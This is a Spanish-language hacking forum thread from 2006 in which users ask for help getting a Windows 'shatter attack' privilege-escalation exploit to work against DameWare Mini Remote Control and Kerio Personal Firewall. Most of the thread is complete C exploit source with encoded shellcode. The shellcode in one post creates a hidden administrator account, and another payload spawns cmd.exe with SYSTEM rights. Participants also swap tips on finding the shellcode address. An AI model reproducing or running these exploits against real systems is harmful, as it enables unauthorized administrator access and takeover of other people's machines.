elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
25 Mayo 2012, 17:07  


Tema destacado: Personaliza-Escoge el diseño del foro que más te guste.

+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Bugs y Exploits (Moderador: berz3k)
| | |-+  Shatter attack exploit para DameWare Remote Control
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Shatter attack exploit para DameWare Remote Control  (Leído 2,804 veces)
movax01

Desconectado Desconectado

Mensajes: 1


Ver Perfil
Shatter attack exploit para DameWare Remote Control
« en: 6 Julio 2006, 20:11 »

guenas,

estoy intentando hacer funcionar un exploit para elevar privilegios en windows 2000, basado en el shatter attack, es decir explotando la manera en que windows maneja los mensajes entre procesos.
 
Me gustaría utilizarlo para el DameWare Remote Control e incluso he localizado un exploit específico para ello (http://downloads.securityfocus.com/vulnerabilities/exploits/dameware-shatter.cpp)
pero no consigo hacerlo funcionar. Justo cuando debe ejecutar la shellcode me da un error, pero estoy seguro que la direccion es correcta.

¿Alguien que me eche una mano, por fa?

gracias,

salu2
En línea
Lifo

Desconectado Desconectado

Mensajes: 12


Ver Perfil
Re: Shatter attack exploit para DameWare Remote Control
« Respuesta #1 en: 16 Julio 2006, 01:49 »

Yo también tengo problemas con este exploit, una adaptación del que se ha publicado en la revista hakin9, para el DameWare Mini Remote Control

Código:
#include <windows.h>
#include <stdio.h>
#include <string.h>




/* win32_exec -  EXITFUNC=process CMD=cmd.exe /c net user hakin9 hakin9 /add
&& net localgroup Administradores /add hakin9 Size=240 Encoder=PexFnstenvSub
http://metasploit.com */

unsigned char scode[] =
"\x31\xc9\x83\xe9\xca\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x86"
"\xf5\xcb\x4c\x83\xeb\xfc\xe2\xf4\x7a\x1d\x8f\x4c\x86\xf5\x40\x09"
"\xba\x7e\xb7\x49\xfe\xf4\x24\xc7\xc9\xed\x40\x13\xa6\xf4\x20\x05"
"\x0d\xc1\x40\x4d\x68\xc4\x0b\xd5\x2a\x71\x0b\x38\x81\x34\x01\x41"
"\x87\x37\x20\xb8\xbd\xa1\xef\x48\xf3\x10\x40\x13\xa2\xf4\x20\x2a"
"\x0d\xf9\x80\xc7\xd9\xe9\xca\xa7\x0d\xe9\x40\x4d\x6d\x7c\x97\x68"
"\x82\x36\xfa\x8c\xe2\x7e\x8b\x7c\x03\x35\xb3\x40\x0d\xb5\xc7\xc7"
"\xf6\xe9\x66\xc7\xee\xfd\x20\x45\x0d\x75\x7b\x4c\x86\xf5\x40\x24"
"\xba\xaa\xfa\xba\xe6\xa3\x42\xb4\x05\x35\xb0\x1c\xee\x8b\x13\xae"
"\xf5\x9d\x53\xb2\x0c\xfb\x9c\xb3\x61\x96\xa6\x28\xa8\x90\xb3\x29"
"\xa6\xda\xa8\x6c\xe8\x90\xbf\x6c\xf3\x86\xae\x3e\xa6\x9d\xaa\x27"
"\xef\x9b\xf2\x6c\xee\x94\xa0\x25\xe8\xcc\xeb\x63\xe7\x91\xaf\x6c"
"\xa0\xd3\xeb\x22\xe3\x81\xeb\x20\xe9\x96\xaa\x20\xe1\x87\xa4\x39"
"\xf6\xd5\x8a\x28\xeb\x9c\xa5\x25\xf5\x81\xb9\x2d\xe2\x9a\xb9\x29"
"\xf5\xd5\xe4\x2d\xe2\x91\xeb\x24\xe7\x9e\xa2\x22\xbf\xf5\xcb\x4c";


int main() {

HANDLE GParentWnd, ParentWnd, ChildWnd;
LONG scaddr;
char *buf;

GParentWnd = FindWindow("DameWare MRC Tray Icon Class", NULL);
if(GParentWnd == NULL) {
printf("Could not find GRAND top-level window!\n");
system("PAUSE");
return 1;

}

ParentWnd = FindWindow("#32770", NULL);
if(ParentWnd == NULL) {
printf("Could not find PARENT top-level window!\n");
system("PAUSE");
return 1;
}

ChildWnd = FindWindowEx(ParentWnd, NULL, "Edit", NULL);

if(ChildWnd == NULL) {
printf("Could not find Edit control!\n");
system("PAUSE");
return 1;
}

if(SendMessage(ChildWnd, EM_SETREADONLY, FALSE, 0)==0) {
printf("Sending WM_SETREADONLY message failed!\n");
system("PAUSE");
return 1;
}

buf = malloc(strlen(scode)+1024*1024+1);
buf = memset(buf,0x90,1024*1024);
strcat(buf,scode);
buf[strlen(buf)] = 0;

SendMessage(ChildWnd, EM_SETLIMITTEXT, strlen(scode)+1024*1024+1,0);

if(!SendMessage(ChildWnd, WM_SETTEXT, 0, (LPARAM)buf)) {
printf("Sending WM_SETTEXT message failed!\n");
system("PAUSE");
return 1;
}

printf("Enter Shellcode Adrress:\n");
scanf("%x",&scaddr);

if(!SendMessage(ChildWnd, EM_SETWORDBREAKPROC, 0L, (LPARAM)scaddr)){
printf("Executing function failed!\n");
system("PAUSE");
return 1;
}


SendMessage(ChildWnd, WM_LBUTTONDBLCLK, MK_LBUTTON, (LPARAM)0x000a000a);

return 1;

}

Sin embargo no me funciona y no se por qué. Estoy seguro de que meto la direccion correctamente y de la shellcode es operativa (la he probado con un programa y me crea un usuario con privilegios de administrador).

¿Alguien podría sugerirme algo?

salu2  ;)
En línea
sirdarckcat
Troll Buena Onda y
CoAdmin
***
Desconectado Desconectado

Mensajes: 6.947


Lavando Platos


Ver Perfil WWW
Re: Shatter attack exploit para DameWare Remote Control
« Respuesta #2 en: 16 Julio 2006, 02:16 »

Pongan que error les sale..
debuggen con el OLLY y digan la direccion donde sale el error..
:P

Saludos!!!
En línea

Lifo

Desconectado Desconectado

Mensajes: 12


Ver Perfil
Re: Shatter attack exploit para DameWare Remote Control
« Respuesta #3 en: 16 Julio 2006, 10:58 »

Hola,

bueno en mi caso, más que error, es que no me funciona el exploit, y no entiendo por qué.

Esta vulnerabilidad se basa en la manera en que Windows maneja el paso de mensajes entre procesos, fue descubierta por Chris Paget en el 2002, pero en el artículo de hakin9 de Mayo, se propone utilizarla para elevar privilegios con el Kerio Personal Firewall, ya que Microsoft no la conseguido arreglar, pues se trata de un fallo intríseco del kernel. Cualquier aplicación, tenga los privilegios que tenga, pude hacerle llegar un mensaje a cualquier ventana del escritorio. Así si esta ventana corre como system, le mandamos un mensaje de tipo EM_SETWORDBREAKPROC, que lo que hace es que ejecute un quebrado de lineas según una función que le digamos nosotros. Obviamente esa función seá nuestra Shellcode.

Pues hasta ahí bien. Yo quiero conseguir privilegios de administrador en un Windows 200o corriendo el DameWare Mini Remote Control. Compruebo con el Process Explorer que el DameWare corre con privilegios de system, aún cuando se está logeado como usuario, cuando se pincha botón derecho, sobre el icono del escritorio y se selecciona Connect to, la ventana que sale también tiene privilegios de sytem. Es decir, que en principio la aplicación sería vulnerable.

Como se ve la primera parte del exploit busca el handle del Control Edit. Yo lo he modificado ligeramente para que busque el del DameWare. Después pega la shellcode en el control. Esto veo que ocurre correctamente, he comprobado que lo que pega son los nops y al final la shellcode en ASCI.

La direccion retaddr es donde debe hallarse la supuesta funcion para el quebrado de lineas, pero que para nosotros es la de la shellcode, por lo que en tiempo de ejecución abro el Ollydbg, anexo el proceso del DameWare, y busco en la memoria la shellcode, introduciendo en el campo hex 31 c9 83 e9 ca. No tarda en encontrarla, y compruebo que justamente antes se encuentra el colchón de nops que he puesto (1024*1024). Así que cojo una dirección intermedia de este colchón, 0x012BFC00.

Sin embargo, el exploit no funciona, es decir no se crea un usuario con privilegios de administrador. He probado a modificar el exploit para obtener más información de lo que pasa, aprovechando que la función SendMessage con el tipo de mensaje EM_SETWORDBREAKPROC, devuelve el valor 0 cuando el mensaje ha sido procesado con éxito. Pues si modifico la última parte del exploit de la siguiente manera:

Código:

if(SendMessage(ChildWnd, EM_SETWORDBREAKPROC, 0L, (LPARAM)retaddr)){
printf("Mensaje EM_SETWORDBREAKPROC fallido");
system("PAUSE");
return 1;
}

Me da el mensaje de mensaje fallido.

He buscado en Bugtraq y me dice que el DameWare desde la versión 3.71 no es vulnerable a este tipo de ataques. Yo estoy utilizando la versión 4.0. por lo que pensé que ésta sería la explicación. Sin embargo pruebo el mismo exploit para el Kerio Personal Firewall, la misma versión que se menciona en el artículo de hakin9, la 2.11, supuestamente vulnerable, y me pasa exactamente igual.

La verdad es que la explicación más sencilla es que introduzco un dirección errónea, pero no sé de que otra manera hacerlo.

¿me puedes echar una mano, Sdc?

salu2
En línea
sirdarckcat
Troll Buena Onda y
CoAdmin
***
Desconectado Desconectado

Mensajes: 6.947


Lavando Platos


Ver Perfil WWW
Re: Shatter attack exploit para DameWare Remote Control
« Respuesta #4 en: 16 Julio 2006, 22:18 »

No tengo el dameware.. pero intenta usar el exploit que haxorsitos, o el de utilman.exe, o el del firewall de windows, con las modificaciones correspondientes..

una cosa mas..
te pide la direccion del shellcode?
porque te la pide.. haz que el programa la obtenga automaticamente..

en fin..
si tengo tiempo descargo la version que dices, pero esque este tipo de bugs son muy comunes.. y tienen diferentes formas de explotarse..

pero la manera mas sencilla de componer el exploit es colocar la direccion del shellcode automaticamente.

Saludos!!
En línea

zipover

Desconectado Desconectado

Mensajes: 10


Ver Perfil
Re: Shatter attack exploit para DameWare Remote Control
« Respuesta #5 en: 17 Julio 2006, 02:45 »

people exploit complet

/*

Shatter attack exploit for DameWare Mini Remote Control Server
by ash@felinemenace.org

see associated advisory

This code is based on shards.cpp by xenophile

*/

#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <stdio.h>
#pragma warning(disable: 4305)
#pragma warning(disable: 4309)
void MakeShellCode (char *buffer)
{
HMODULE hCRT;
void * lpSystem;
int count=0;


while (count < 36)
{
buffer [count] =0x90;
count ++;
}

buffer[37]=0x8B; buffer[38]=0xE5; buffer[39]=0x55;
buffer[40]=0x8B; buffer[41]=0xEC; buffer[42]=0x33;
buffer[43]=0xFF; buffer[44]=0x90; buffer[45]=0x57;
buffer[46]=0x83; buffer[47]=0xEC; buffer[48]=0x04;
buffer[49]=0xC6; buffer[50]=0x45; buffer[51]=0xF8;
buffer[52]=0x63; buffer[53]=0xC6; buffer [54]=0x45;
buffer[55]=0xF9; buffer[56]=0x6D; buffer [57]=0xC6;
buffer[58]=0x45; buffer[59]=0xFA; buffer[60]=0x64;
buffer[61]=0xC6; buffer[62]=0x45; buffer[63]=0xFB;
buffer[64]=0x2E; buffer[65]=0xC6; buffer[66]=0x45;
buffer[67]=0xFC; buffer[68]=0x65; buffer[69]=0xC6;
buffer[70]=0x45; buffer[71]=0xFD; buffer [72]=0x78;
buffer[73]=0xC6; buffer[74]=0x45; buffer [75] =0xFE;
buffer[76]=0x65;

hCRT = LoadLibrary("msvcrt.dll");
lpSystem = (void *)GetProcAddress( hCRT, "system" );
buffer[77]=0xB8;
buffer[78]=((char *)&lpSystem)
  • ;
buffer[79]=((char *)&lpSystem) [1];
buffer[80]=((char *)&lpSystem) [2];
buffer[81]=((char *)&lpSystem) [3];
buffer [82] =0x50; buffer[83]=0x8D; buffer[84]=0x45;
buffer[85]=0xF8; buffer[86]=0x50; buffer[87]=0xFF;
buffer [88]=0x55; buffer[89]=0xF4;
count = 90;
while (count < 291)
{
buffer [count] =0x90;
count ++;
}
buffer[291]=0x24; buffer[292]=0xF1; buffer [293]=0x5D;
buffer[294]=0x01; buffer[295]=0x26; buffer[296]=0xF1;
buffer [297] =0x5D; buffer[298]=0x01; buffer[299]=0x00;
buffer[300]=0x00;
return;
}
void ErrorNotify(DWORD err, char *title)
{
LPVOID lpMsgBuf;
FormatMessage(
FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM,
NULL,
err,
MAKELANGID (LANG_NEUTRAL, SUBLANG_DEFAULT), // Default language
(LPTSTR) &lpMsgBuf,
0,
NULL
) ;

printf("%s\n",lpMsgBuf);

LocalFree( lpMsgBuf );
};
#define SHELLCODE_SIZE (1024 * 256)
#define SHELLCODE_OFFSET (SHELLCODE_SIZE -400)
int main(int argc, char* argv[])
{
HWND hWnd;
HWND hWndChild;
char sc[SHELLCODE_SIZE];
char szWindowName[] = "About DameWare Mini Remote Control Server";
LONG lExecAddress;
sc[0] = 'x'; sc[1] = 'e'; sc[2] = 'n'; sc[3] = '0';
memset( &sc[4], 0x90, SHELLCODE_SIZE -4);
MakeShellCode( &sc[SHELLCODE_OFFSET] );
printf( "\nfm-shatterdame.c\nash@felinemenace.org\n" );
printf("--------------------------------------------------------------\n");
printf("Exploits shatter attack in DameWare Mini Remote Control Server\n");
printf("This is based on shards.cpp written by xenophile.\n") ;
printf("--------------------------------------------------------------\n");
printf(
"STEP 1: Finding our window!\n"
) ;



hWnd = FindWindow( NULL, szWindowName );
if( hWnd == NULL)
{

printf("Couldn't find the dameware about dialogue. Open it and re-run this\n");
return 0;
}

hWndChild = FindWindowEx(hWnd, NULL, "Edit", NULL);

if( hWndChild == NULL)
{

printf("\tCouldn't find child edit control window\n");

return 0;
}

SendMessage( hWndChild, EM_SETREADONLY, 0, 0 );

SendMessage( hWndChild, EM_SETLIMITTEXT, SHELLCODE_SIZE, 0L );

if ( ! SendMessage( hWndChild, WM_SETTEXT, 0, (LPARAM)sc ) ) {
ErrorNotify ( GetLastError (), "error");
}
printf(
"\n\nSTEP 2: Enter shell code address. "
"This can be found using a debugger."
) ;
printf( "\nOn my XP SP1 machine 0x160000 worked.\n" );

printf( "\n\nEnter execution address: " );
scanf( "%x", &lExecAddress );

if ( ! SendMessage( hWndChild, EM_SETWORDBREAKPROC, 0L,
(LPARAM)lExecAddress ) ) {
ErrorNotify( GetLastError(), "error" );
}

SendMessage( hWndChild, WM_LBUTTONDBLCLK, MK_LBUTTON,
(LPARAM)0x000a000a );

return 0;
}
 compiled by dev c++
En línea

I do not know to say Spain but I go to learn
Lifo

Desconectado Desconectado

Mensajes: 12


Ver Perfil
Re: Shatter attack exploit para DameWare Remote Control
« Respuesta #6 en: 17 Julio 2006, 18:50 »

gracias por la ayuda, compis.

Citar
una cosa mas..
te pide la direccion del shellcode?
porque te la pide.. haz que el programa la obtenga automaticamente..

¿como puedo hacer eso Sdc?

Se supone que con el mensaje WM_SETTEXT situamos la shellcode dentro de la memoria del proceso atacado. Creo que no existe manera de saber de antemano que posición ocupará la shellcode dentro del proceso atacado. Ciertamente esto es una chapucilla, ya que en teoría cualquier depurador que corramos como usuario sin privilegios no nos dejaría anexar ningún proceso de tipo system. La idea es correr el exploit en un sistema similar como administrador y apuntar la dirección, o corregir el exploit una vez obtenida la direccion para que la utilice automaticamente.

¿me puedes echar una mano para automatizarlo Sdc?

Citar
en fin..
si tengo tiempo descargo la version que dices, pero esque este tipo de bugs son muy comunes.. y tienen diferentes formas de explotarse..

Aquí dejo un enlace a la versión del kerio con la que se propone hacer el ejercicio en hakin9,y el exploit lo pongo a continuación. Por si tienes un ratillo  para probarlo :rolleyes:

http://www.megaupload.com/es/?d=6DSQIPG4

Código:
#include <windows.h>
#include <stdio.h>
   
unsigned char scode[] =
    "\x33\xc9\x83\xe9\xca\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x66"
    "\x03\xd9\x25\x83\xeb\xfc\xe2\xf4\x9a\xeb\x9d\x25\x66\x03\x52\x60"
    "\x5a\x88\xa5\x20\x1e\x02\x36\xae\x29\x1b\x52\x7a\x46\x02\x32\x6c"
    "\xed\x37\x52\x24\x88\x32\x19\xbc\xca\x87\x19\x51\x61\xc2\x13\x28"
    "\x67\xc1\x32\xd1\x5d\x57\xfd\x21\x13\xe6\x52\x7a\x42\x02\x32\x43"
    "\xed\x0f\x92\xae\x39\x1f\xd8\xce\xed\x1f\x52\x24\x8d\x8a\x85\x01"
    "\x62\xc0\xe8\xe5\x02\x88\x99\x15\xe3\xc3\xa1\x29\xed\x43\xd5\xae"
    "\x16\x1f\x74\xae\x0e\x0b\x32\x2c\xed\x83\x69\x25\x66\x03\x52\x4d"
    "\x5a\x5c\xe8\xd3\x06\x55\x50\xdd\xe5\xc3\xa2\x75\x0e\x7d\x01\xc7"
    "\x15\x6b\x41\xdb\xec\x0d\x8e\xda\x81\x60\xb4\x41\x48\x66\xa1\x40"
    "\x46\x2c\xba\x05\x08\x66\xad\x05\x13\x70\xbc\x57\x46\x6b\xb8\x4e"
    "\x0f\x6d\xe0\x05\x0e\x62\xb2\x4c\x08\x3a\xf9\x0a\x07\x67\xbd\x05"
    "\x40\x25\xf9\x4b\x03\x77\xf9\x49\x09\x60\xb8\x49\x01\x71\xb6\x50"
    "\x16\x23\x98\x41\x0b\x6a\xb7\x4c\x15\x77\xab\x44\x02\x6c\xab\x40"
    "\x15\x23\xf6\x44\x02\x67\xf9\x4d\x07\x68\xb0\x4b\x5f\x03\xd9\x25";
   
int main (){
   
    HANDLE ParentWnd,ChildWnd;
    char * buffer;
    LONG retaddr;
   
    ParentWnd = FindWindow ("#32770", NULL);
   
    ChildWnd = FindWindowEx (ParentWnd, NULL, "Edit", NULL);
   
    if (SendMessage (ChildWnd, EM_SETREADONLY, FALSE, 0)==0){
                     printf("Mensaje EM_SETREADONLY fallido\n");
                     system("PAUSE");
                     return 1;
    }
   
    buffer = malloc(strlen(scode) + 1024*1024 +1);
    buffer = memset(buffer,0x90,1024*1024);
    strcat (buffer, scode);
    buffer [strlen(buffer)]=0;
   
    SendMessage (ChildWnd, EM_SETLIMITTEXT,strlen(scode)+ 1024*1024 +1,0);
   
    if (!SendMessage (ChildWnd, WM_SETTEXT, 0, (LPARAM)buffer)){
                     printf("Mensaje EM_SETTEXT fallido\n");
                     system ("PAUSE");
                     return 1;
    }
   
    printf("Introducir direccion de Shellcode: ");
    scanf("%x", &retaddr);
   
    SendMessage (ChildWnd, EM_SETWORDBREAKPROC, 0L, (LPARAM)retaddr);
   
    SendMessage (ChildWnd, WM_LBUTTONDBLCLK, MK_LBUTTON, (LPARAM)0x000a000a);
   
       
    return 1;
}

Citar
people exploit complet

Gracias zipover, he compilado este exploit y probado, pero no me funciona tampoco  :(

Le he echado un vistazo y no es muy diferente al que proponen en hakin9. Bueno la idea es la misma solo que está escrito en C++  (yo prefiero C, para mí no hay opción  :P), y la shellcode creo que te da una shell remota para que te conectes con el netcat. Bueno no lo se, no la he probado aparte, pero la base del exploit es la misma, el mensaje WM_SETWORDBREAKPROC y WM_LBUTTONDBLCLK, enviados a un control edit de una ventana con privilegios system.

En fin, compis, estoy un poco perdido, todo debería ir bien pero no funciona  :huh:

De todas formas, gracias por vuestro interés y tiempo!!!  :D

salu2

En línea
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines